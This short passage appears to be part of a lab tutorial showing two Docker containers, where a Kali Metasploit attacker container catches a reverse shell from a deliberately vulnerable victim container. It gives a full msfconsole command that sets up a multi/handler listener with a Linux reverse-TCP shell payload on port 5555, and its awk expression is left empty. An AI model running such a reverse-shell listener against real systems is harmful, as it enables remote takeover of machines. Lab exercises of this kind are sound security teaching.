This will create the Docker container image polyverse/kali-metasploit. In this example, an attacker container ( polyverse/kali-metasploit) will get a reverse-shell from the victim container ( polyverse/c-exploit). Docker run -it -p 5555:5555 polyverse/kali-metasploit msfconsole -x 'use multi/handler set payload linux/x86/shell_reverse_tcp set LHOST $(docker run -it -p 5555:5555 polyverse/kali-metasploit ifconfig eth0 | grep inet | awk '') set LPORT 5555 exploit'